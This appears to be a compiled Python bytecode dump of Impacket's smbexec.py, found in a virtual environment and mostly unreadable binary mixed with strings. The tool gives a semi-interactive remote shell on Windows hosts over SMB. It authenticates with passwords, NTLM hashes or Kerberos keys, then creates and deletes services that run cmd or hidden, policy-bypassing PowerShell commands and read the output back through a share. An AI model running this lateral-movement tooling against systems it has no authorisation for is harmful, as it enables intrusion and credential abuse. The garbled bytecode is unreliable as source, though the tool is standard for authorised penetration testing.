o
    j}A                     @   sJ  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZzd dl	Z	W n e
y7   d dlZ	Y nw d dlZd dlmZ d dlmZ d dlmZ d dlmZ d dlmZmZ d d	lmZmZ d d
lmZ dddd edD  ZdZ dZ!ej"j#Z$G dd deZ%G dd dZ&G dd dej'Z(e)dkr#e*ej+ e, Z-e-j.dddd e-j.ddddd  e-j.d!dd"d#hd#d$d% e-j.d&d'd(d e-j.d)d'd*d e-j.d+dd,e$ d e-j.d-dd.d.d/gd0d1 e-/d2Z0e0j.d3dd4d5d6 e0j.d7dd4d8d6 e0j.d9d:d;gd<d;d=d>d? e0j.d@ddAdBd6 e-/dCZ0e0j.dDddEdFd6 e0j.dGd'dHd e0j.dId'dJd e0j.dKddLdMd6 e0j.dNddOd e1ej2dPkrVe-3  e4dP e-5 Z6e7e6j8e6j9 e6j:durle6j:Z$ne$du rsdQZ$ee6j;\Z<Z=Z>Z?e<du rdZ<e6j@dureAe6j@e=e<e6 dRe6_Be>dkre=dkre6jCdu re6jDdSu re6jEdu rd dTlFmFZF eFdUZ>e6jGdu re?e6_Ge6jEdurdRe6_Bz#e&e=e>e<e6jCe6jEe6jBe6jHe6jIe6jJeKe6jLe6jMe6jNZOeOPe?e6jG W n+ eQy ZR zeS jTejUkr
d dlVZVeVW  eXeYeR W Y dZR[RndZR[Rww e4d  dS dS )V    )division)print_functionN)Thread)	b64encode)logger)parse_target)version	smbserver)	transportscmr)Keytab	__output_ c                 C      g | ]}t tjqS  randomchoicestringascii_letters.0ir   r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/smbexec.py
<listcomp>;       r      __tmpTMPc                   @   s,   e Zd Zdd Zdd Zdd Zdd Zd	S )
	SMBServerc                 C   s   t |  d | _d S N)r   __init__smbselfr   r   r   r!   A   s   

zSMBServer.__init__c                 C   s   t d tt d S )NzCleaning up..)logginginfoosrmdirSMBSERVER_DIRr#   r   r   r   cleanup_serverE   s   
zSMBServer.cleanup_serverc              
   C   st  t   }|d |ddd |ddd |ddd |ddd |dd	d
 |t |tdd
 |tdd |tdd |tdt |d |ddd
 |ddd |ddd |ddd
 tjd|d| _t	d zt
t W n ty } ztt| W Y d }~nd }~ww t	d | j  t	d z| j  W d S    Y d S )Nglobalserver_name	server_osUNIXserver_domain	WORKGROUPlog_fileNonecredentials_filer   commentz	read onlynoz
share type0pathzIPC$yes3)z0.0.0.0  )config_parserzCreating tmp directoryzSetting up SMB ServerzReady to listen...)ConfigParseradd_sectionsetDUMMY_SHAREr)   r	   	SMBSERVERr"   r%   r&   r'   mkdir	ExceptioncriticalstrprocessConfigFileserve_forever)r$   	smbConfiger   r   r   runI   sB   






zSMBServer.runc                 C   s*   |    | jj  | j  |   d S r    )r*   r"   socketcloseserver_close_Thread__stopr#   r   r   r   stopp   s   
zSMBServer.stopN)__name__
__module____qualname__r!   r*   rI   rN   r   r   r   r   r   @   s
    'r   c                   @   s"   e Zd Z		dddZdd ZdS )	CMDEXECr   Nr:   c                 C   s   || _ || _|
| _|| _d| _d| _|| _|| _|| _|	| _	|| _
|| _d | _|d ur4|d\| _| _|d u rGddd tdD | _d S || _d S )Nr   :c                 S   r   r   r   r   r   r   r   r      r   z$CMDEXEC.__init__.<locals>.<listcomp>r   )_CMDEXEC__username_CMDEXEC__password_CMDEXEC__port_CMDEXEC__domain_CMDEXEC__lmhash_CMDEXEC__nthash_CMDEXEC__aesKey_CMDEXEC__doKerberos_CMDEXEC__kdcHost_CMDEXEC__share_CMDEXEC__mode_CMDEXEC__shell_typeshellsplitjoinrange_CMDEXEC__serviceName)r$   usernamepassworddomainhashesaesKey
doKerberoskdcHostmodeshareportserviceName
shell_typer   r   r   r!   w   s$   
zCMDEXEC.__init__c              
   C   sX  d| }t d|  t|}|| j || t|dr0|| j	| j
| j| j| j| j || j| j d | _z0| jdkrKt }d|_|  t| j|| j| j| j| _| j  | jdkri|  W d S W d S  ttfy } z2t  j t j!krdd l"}|#  t $t%| | jd ur| j&  t'j()  t'*d W Y d }~d S d }~ww )Nzncacn_np:%s[\pipe\svcctl]zStringBinding %sset_credentialsSERVERTr      )+r%   debugr
   DCERPCTransportFactory	set_dportrV   setRemoteHosthasattrrq   rT   rU   rW   rX   rY   rZ   set_kerberosr[   r\   r`   r^   r   daemonstartRemoteShellr]   rd   r_   cmdlooprN   rB   KeyboardInterrupt	getLoggerlevelDEBUG	traceback	print_excrC   rD   finishsysstdoutflushexit)r$   
remoteName
remoteHoststringbindingrpctransportserverThreadrH   r   r   r   r   rI      s@   








zCMDEXEC.run)r   r   r   NNNNNNr:   NN)rO   rP   rQ   r!   rI   r   r   r   r   rR   v   s
    
rR   c                   @   sn   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dd Zdd ZdddZdd ZdS )r|   c           
   
   C   s.  t j|  || _|| _d| j d t | _d| _d| _d| _	|| _
d| _|| _|| _d| _| | _z| j  W n tyX } ztt| td W Y d }~nd }~ww | }|d	 |d
kry|   d }d| j|tf | _| jt j! t "| j}	|	d | _#| | _$| %d d S )Nz\\%COMPUTERNAME%\\    r   z%COMSPEC% /Q /c z@powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc z?[!] Launching semi-interactive shell - Careful what you executers   i rr   r   zcopy %s \\%s\%s
lpScHandle)&cmdCmdr!   _RemoteShell__share_RemoteShell__modeOUTPUT_FILENAME_RemoteShell__output_RemoteShell__outputBuffer_RemoteShell__command_RemoteShell__shell_RemoteShell__shell_type_RemoteShell__pwsh_RemoteShell__serviceName_RemoteShell__rpcintroget_dce_rpc_RemoteShell__scmrconnectrB   r%   rC   rD   r   r   get_smb_connection
setTimeoutgetSMBServer
get_socketgetsocknamer?   _RemoteShell__copyBackbindr   MSRPC_UUID_SCMRhROpenSCManagerW_RemoteShell__scHandletransferClientdo_cd)
r$   rm   rpcrl   ro   rp   rH   smyIPaddrrespr   r   r   r!      s<   



zRemoteShell.__init__c                 C   s   z
| j | jt W n   Y zE| j | _| j  | jt	j
 t	| j}|d | _t	| j| j| j}|d }t	| j| t	| j|t	j t	| j| W d S  t	jy_   Y d S w )Nr   lpServiceHandle)r   
deleteFiler   r   r   r   r   r   r   r   r   r   r   hROpenServiceWr   hRDeleteServicehRControlServiceSERVICE_CONTROL_STOPhRCloseServiceHandleDCERPCException)r$   r   servicer   r   r   r      s$   

zRemoteShell.finishc                 C   s   t | d S r    )r'   systemr$   r   r   r   r   do_shell   s   zRemoteShell.do_shellc                 C      dS )NTr   r   r   r   r   do_exit      zRemoteShell.do_exitc                 C   s   t   | |S r    )printr   r   r   r   r   do_EOF   s   
zRemoteShell.do_EOFc                 C   r   )NFr   r#   r   r   r   	emptyline   r   zRemoteShell.emptylinec                 C   sn   t |dkrtd | d t | jdkr5| j ddd | _| jdkr0d| j d	 | _d
| _d S d S )Nr   z+You can't CD under SMBEXEC. Use full paths.zcd z
r   >
powershellzPS  r   )	lenr%   errorexecute_remoter   decodereplacepromptr   r   r   r   r   r      s   



zRemoteShell.do_cdc                 C   s
   |  |S r    )r   r   r   r   r   do_CD  s   
zRemoteShell.do_CDc                 C   s   |dkr|  | d S d S )Nr   )	send_data)r$   liner   r   r   default  s   zRemoteShell.defaultc                    sx    fdd} j dkr j jt|  j jt d S ttd t d}||  |	  t
td t  d S )Nc                    s     j | 7  _ d S r    )r   )datar#   r   r   output_callback  s   z/RemoteShell.get_output.<locals>.output_callbackSHARE/rb)r   r   getFiler   r   r   openr)   readrK   r'   unlink)r$   r   fdr   r#   r   
get_output
  s   
zRemoteShell.get_outputr   c                 C   s  |dkrd| }| j t|d  }dddd tdD  d	 }| jd
 | d | j d | d | j | }| jdkrG|d| j	 7 }|d| 7 }t
d|  tj| j| j| j| j|tjd}|d }z	t| j| W n   Y t| j| t| j| |   d S )Nr   z'$ProgressPreference="SilentlyContinue";zutf-16lez%SYSTEMROOT%\r   c                 S   r   r   r   )r   _r   r   r   r     r   z.RemoteShell.execute_remote.<locals>.<listcomp>r   z.batzecho z ^> z
 2^>^&1 > z & rr   z & del zExecuting %s)lpBinaryPathNamedwStartTyper   )r   r   encoder   rb   rc   r   r   r   r   r%   rt   r   hRCreateServiceWr   r   r   SERVICE_DEMAND_STARThRStartServiceWr   r   r   )r$   r   rp   	batchFilecommandr   r   r   r   r   r     s0    "
zRemoteShell.execute_remotec                 C   s^   |  || j z
t| jt W n ty)   td t| jjtdd Y nw d| _d S )NzDecoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codecr   )errorsr   )	r   r   r   r   r   CODECUnicodeDecodeErrorr%   r   )r$   r   r   r   r   r   2  s   

zRemoteShell.send_dataN)r   )rO   rP   rQ   r!   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r|      s    #
r|   __main__targetstorez6[[domain/]username[:password]@]<targetName or address>)actionhelpz-sharezC$z8share where the output will be grabbed from (default C$))r   r   r   z-moderr   r   z/mode to use (default SHARE, SERVER needs root!))r   choicesr   r   z-ts
store_truez&adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-codeca  Sets encoding used (codec) from the target's output (default "%s"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec z-shell-typer   r   z9choose a command processor for the semi-interactive shell)r   r   r   r   
connectionz-dc-ipz
ip addressztIP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter)r   metavarr   z
-target-ipzIP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itz-port139445?zdestination portz)Destination port to connect to SMB Server)r   nargsr   r   r   z-service-nameservice_namez2The name of theservice used to trigger the payloadauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-keytabz"Read keys for SPN from keytab filers   zutf-8TF)getpassz	Password:)Z
__future__r   r   r   r'   r   r   r   argparser<   ImportErrorconfigparserr%   	threadingr   base64r   impacket.examplesr   impacket.examples.utilsr   impacketr   r	   impacket.dcerpc.v5r
   r   impacket.krb5.keytabr   rb   rc   r   r)   r?   r   encodingr   r   rR   r   r|   rO   r   BANNERArgumentParserparseradd_argumentadd_argument_groupgroupr   argv
print_helpr   
parse_argsoptionsinittsrt   codecr   rg   re   rf   r   keytabloadKeysFromKeytabkrh   no_passri   r   	target_ipdc_iprl   rm   intrn   r   rp   executerrI   rB   rH   r   r   r   r   r   rC   rD   r   r   r   r   <module>   s   $69 







8